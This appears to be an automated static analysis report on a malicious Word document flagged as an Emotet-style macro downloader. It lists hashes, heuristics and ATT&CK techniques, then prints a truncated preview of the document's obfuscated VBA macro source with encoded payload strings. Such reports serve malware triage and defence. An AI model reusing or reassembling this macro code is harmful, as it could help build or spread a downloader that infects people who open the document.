Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 9f36cd344fc1c049…

MALICIOUS

Office (OLE)

152.0 KB Created: 2018-03-30 07:01:00 Authoring application: Microsoft Office Word First seen: 2018-06-30
MD5: 4d13a4380d0be688212336677d9b20f3 SHA-1: d99d7c8d1aa78c9f360e0bd4a172eb15243fcd0b SHA-256: 9f36cd344fc1c049b82a66989922f81d0dca13479d5dc0a3ccfcc507024ddaee
224 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing a VBA macro with an AutoOpen function, indicating it is designed to execute automatically upon opening. The macro utilizes CreateObject and appears to be obfuscated, likely to download and execute a second-stage payload. The ClamAV detection 'Doc.Malware.Emodldr-10025032-0' further supports its malicious nature.

Heuristics 8

  • ClamAV: Doc.Malware.Emodldr-10025032-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emodldr-10025032-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 34611 bytes
SHA-256: 1af950beaf8387ecb15a7550292d43c85ed16a975482dbdafe0950d2d23c57c5
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 25 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "LCoYkSlponY"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "nomtIzfNhk"
Function lZYCFQjSs()
On Error Resume Next
dEtrR = vfrFR * wowop
mahiL = SZfhMK / ChrW(wzTHTp * BQnlwK) - zapZm * Cilfvs * 88714 / CSng(48709)
OhzLi = LuGSv("idjAGEAMgBmAGMAMwA4AGYANgBmADIAMwBmAGIAZQBjADIAYwA4ADgAZQA5ADEAZQA4ADIANwA1ADYAYwAyAGIANQA1AGUAZQA0ADcAMgBjAGYAYQA2AGMAOQBkADUAOABhAGMAMwBhADMAZQAzADYANwBjADAAOQAzADgAMAAyAGYAZ47k@Az", 3, 174)
lOTjWV = cjiwK * VnvlA
SzpHZN = RLoLbv / ChrW(JfYSP * AtzJuo) - CIwjKs * GtvGt * 36253 / CSng(81756)
ssVzu = pdzLD * SYVXPG
AUYTWN = lNmBRQ / ChrW(IzWYJ * vGCmIQ) - mCjZpR * fETYzm * 33115 / CSng(61624)
NXwVjnmN = LuGSv("U3413b16050a5345MgB8ADQAMAB4AFEARwBNAEYAMgA4AG0AdQBWAEgAdAA4AGwA2pGo.6V", 3, 62)
rvunhJ = zzGJo * RmLFfq
dNMzmc = jzZXf / ChrW(iLqNd * cdkai) - pkmjM * Gawwdj * 91591 / CSng(1348)
lOWMo = caqCNZ * ksRFiE
kHwhU = WWvDbr / ChrW(pCduh * hdKilT) - wFbsh * IVndRo * 86237 / CSng(88747)
SpmWs = LuGSv("7V.WuQjADgAZgBjAGEAYwA4ADAANwBkADYANwBlADkANgA2AGMAZABmAGMANQA5AGQAMABkAGEAYwAwAGMANwBmAGQAOAA5AGIjt", 7, 92)
GfmaV = uiPWX * XjZZL
vvQuC = fiBBY / ChrW(GpjLX * vKwXEX) - WKrlp * EGZzw * 9707 / CSng(22526)
lEAffZ = jRXjVs * XRduiF
IWkHYJ = lnTjZ / ChrW(VEZcjE * UpRFi) - ALZGLO * WciPXG * 31827 / CSng(5692)
zMPlUmcCwvN = LuGSv("uZ5QATEAdk", 4, 2)
dEzwOd = rBNii * SFfZb
LMhIV = GsVKEZ / ChrW(TWMMIl * XsiFzj) - RKdkz * Irmwwc * 21253 / CSng(16090)
JIDcvi = vGjqvT * hFjNJ
wRYCf = lwrLZ / ChrW(ssjDiV * zzSMPj) - AjLiXQ * pArjBz * 88944 / CSng(86836)
IUzfbpL = LuGSv("Vj@.qr4AOABmADAANABmADgAOQBlADIAMwAyADMAYgBhAGYANQA5ADkAMgBlAGEAYQAyADEAYwAzAGMAOQAwADYAMwA3AGQAYgATi", 8, 92)
DvJsDa = dWORMY * EIVwAB
JnJBDs = ThYBEI / ChrW(RFndZ * hLJwk) - Vmafw * rDuHAq * 99497 / CSng(66367)
dokRG = FzpTH * fPXQf
ElFYjr = VYLlh / ChrW(NXUMl * tbwjRT) - CawjNb * EfoEE * 15757 / CSng(86537)
JzZTjiCkF = LuGSv("iX7VFEAYwA0AGEAZAA1AGMAOQA3AGEANgAyAGQAZQBlAGQAMQA3ADIAMQA5AGMAZgAzADIAOQA3ADLIa", 6, 72)
lwtMH = uwLDl * lDHEnF
piXpz = cDhjQ / ChrW(djkqA * FLRHbn) - cnTBXj * wEDaO * 11947 / CSng(92070)
nrOsi = EHJpw * QZMGrv
wkLZDE = DspjYm / ChrW(YqdpK * chcOCm) - LEAVv * uaSbR * 21696 / CSng(76064)
EAWMMvkMcB = LuGSv("kNQBhAGQAMQA1ADYAZQAyADIANwA1AGYAOQAyADAANAA2ADQANAA2ADIANQBkAGUAYgBjADEAOQAzADMANQBlADIAMwA1ADcAZQA0AGUAOAAwAGIAOiPwv5", 2, 113)
OLRaRM = siiRjM * QHzXR
dwsUoX = wFOLiX / ChrW(OWKokZ * TWREOn) - KKiuuw * PTzlu * 39999 / CSng(60339)
OKhjUK = ipjBN * TqNXSL
aOKQt = OOisqF / ChrW(GUtWz * zhGQPk) - nFolwB * zIAAQp * 87704 / CSng(92241)
LwbVnkiTwn = LuGSv("bhiZIAYQA5ADEAMQAyAGMANABjADIAZABkAGEAYwBlAGIANgA5ADAAMABkAGQAOQBjADgANQAzADEANABkAGEANgAxADQAZgA1AGIANAAyAGUAYQBjADEAOABmAGEAYQA3AGQANwA4ADIAOQBiADgAZgBiAGMAOAAzADkAYgBhADUAMAA5ADgAMgBkAGQAMwAwADQABu%w", 5, 194)
wzqwqj = wrXpOq * zujJn
azvoT = wUtFK / ChrW(BnKTZn * EGrtZL) - GoCFj * FnUzBB * 55197 / CSng(31550)
PiuCjO = dhQmz * jrQXrc
LSjLoI = FLpwUA / ChrW(hzRNjU * VCiZz) - GZIYE * wawwjO * 45247 / CSng(71749)
ZCkHpYdCf = LuGSv("vwAxAGMAZgBhADIAYwAxAGEANgBkADgANAAyAGEAMgBkAGQANwAxAGQAY5qG,jS.", 2, 56)
RsSSz = wuwJII * pPzlq
XjCRt = DTkziz / ChrW(iTEKQ * wSHiJ) - wZrlh * zXSNW * 28082 / CSng(52421)
VRzwzM = icjQw * WcUKP
SUknN = wvRFF / ChrW(RpvcDW * iHizh) - PlpiL * LauXPk * 58753 / CSng(73717)
jMbQVSd = LuGSv("3BzAGQAOAA3ADIAMAAxAGMAMwA3ADQANQBmADIAOQAzAGYAZAA1ADYAZAA3ADYAYgAyADQAZQA3ADEAZgAxADIAOABjADAAZAA4ADcAZgA0AGEAYgA1ADgAMQBiAGQAMgA3ADgAMgBmAGEAYQAzADgANwAwAGEAOAA1ADAAOAA1AGQANQBlAGuo.Y", 3, 179)
ARncXE = HRtZzl * AoUDXz
HMGitC = RjsYk / ChrW(dpqXKM * iXomd) - oujujH * utEhwd * 3959 / CSng(54340)
UmMbF = bWVohm * CzwKLw
avQYK = jLbIJK / ChrW(ROfbv * vwqjD) - MpiomV * APwZVn * 33541 / CSng(24041)
MUhVjwcjVU = LuGSv("izu92GUAMAAzADkANwA3ADQANAA3ADkAOABjADcANQBmAGQAMgAzAGEANgBjADgAYgA2AGMAYQBmADEAYQA1ADgAZgBjADkAYgA3ADgAOQBhADUAOQBmADQAYgA3ADEAZgBhAGIAZgA3ADcAMQBlAGM
... (truncated)

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